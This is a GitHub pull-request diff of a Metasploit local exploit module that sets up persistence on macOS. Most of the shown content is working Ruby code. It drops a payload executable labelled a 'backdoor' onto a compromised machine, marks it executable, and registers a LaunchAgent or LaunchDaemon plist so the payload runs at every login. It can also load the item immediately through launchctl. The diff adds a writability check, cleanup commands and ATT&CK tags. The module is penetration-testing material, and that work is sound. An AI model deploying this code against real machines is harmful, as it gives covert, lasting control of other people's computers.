Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,10 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/osx/local/persistence'

def initialize(info = {})
super(
Expand All @@ -23,13 +27,15 @@ def initialize(info = {})
upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
In either case the plist entry specifies an executable that will be run before or at login.

Verified on OSX 11.7.10 (Big Sur)
},
'License' => MSF_LICENSE,
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
Expand All @@ -38,13 +44,14 @@ def initialize(info = {})
'DisclosureDate' => '2012-04-01',
'Platform' => [ 'osx', 'python', 'unix' ],
'References' => [
'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],
['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]
],
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4
}
)
)
Expand All @@ -61,9 +68,19 @@ def initialize(info = {})
[false, 'Run the installed payload immediately.', false]),
OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
])
deregister_options('WritableDir')
end

def exploit
def check
folder = File.dirname(backdoor_path).shellescape
folder = File.dirname(folder)
return CheckCode::Safe("#{folder} not found") unless directory?(folder)
return CheckCode::Safe("#{folder} not writable") unless writable?(folder)

CheckCode::Appears("#{folder} is writable")
end

def install_persistence
check_for_duplicate_entry

if target['Arch'] == ARCH_PYTHON
Expand All @@ -89,7 +106,7 @@ def add_launchctl_item
label = File.basename(backdoor_path)
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
item = <<-EOI
item = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
Expand All @@ -110,16 +127,19 @@ def add_launchctl_item
<#{keepalive?}/>
</dict>
</plist>
EOI
EOF

if write_file(plist_path, item)
print_good("LaunchAgent added: #{plist_path}")
@clean_up_rc << "rm #{plist_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
end

if run_now?
cmd_exec("launchctl load -w #{plist_path.shellescape}")
else
print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}")
end

print_good('LaunchAgent installed successfully.')
Expand Down Expand Up @@ -180,6 +200,7 @@ def write_backdoor(exe)
if write_file(backdoor_path, exe)
print_good("Backdoor stored to #{backdoor_path}")
cmd_exec("chmod +x #{backdoor_path.shellescape}")
@clean_up_rc << "rm #{backdoor_path}\n"
else
fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
end
Expand Down